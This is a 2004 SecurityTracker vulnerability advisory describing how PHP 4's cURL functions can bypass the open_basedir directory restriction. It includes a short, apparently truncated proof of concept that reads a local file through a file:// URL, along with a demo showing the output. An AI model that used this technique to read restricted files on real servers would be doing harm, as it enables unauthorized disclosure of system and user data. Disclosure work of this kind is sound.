Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Generic)  >   PHP Vendors:   PHP Group
PHP cURL Functions Let Scripts Byass the 'open_basedir' Directory Restrictions
SecurityTracker Alert ID:  1011984
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Oct 28 2004
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Version(s): Only tested on PHP 4
Description:   A vulnerability was reported in PHP in the cURL functions. A script can bypass the 'open_basedir' directory setting.

FraMe from reported that a local user can invoke the cURL (libcurl) functions to bypass the 'open_basedir' restrictions in the 'php.ini' file and access files in other directories.

A demonstration exploit is provided:

$ch = curl_init("file:///etc/parla");
echo $file

Impact:   A script can bypass the 'open_basedir' directory setting to access files on the target system.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Access control error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  PHP4 cURL functions bypass open_basedir

Subject: PHP4 cURL functions bypass open_basedir
Author: frame at
Product: PHP4 compile with cURL (not tested in PHP5)
Vendor: PHP/Zend
Vendor URL:
Tipe: Local
Risk: Low/Medium
PHP cURL functions bypass open_basedir
protection, so users can navigate through
For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions.
== Proof of concept (curl.php)
$ch = curl_init("file:///etc/parla");
echo $file
== Demo
$ cat /etc/parla
don't read please!
$ links -dump http://localhost/curltest/curl.php
don't read please!

== Release Timeline
No release timeline.

FraMe <>


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC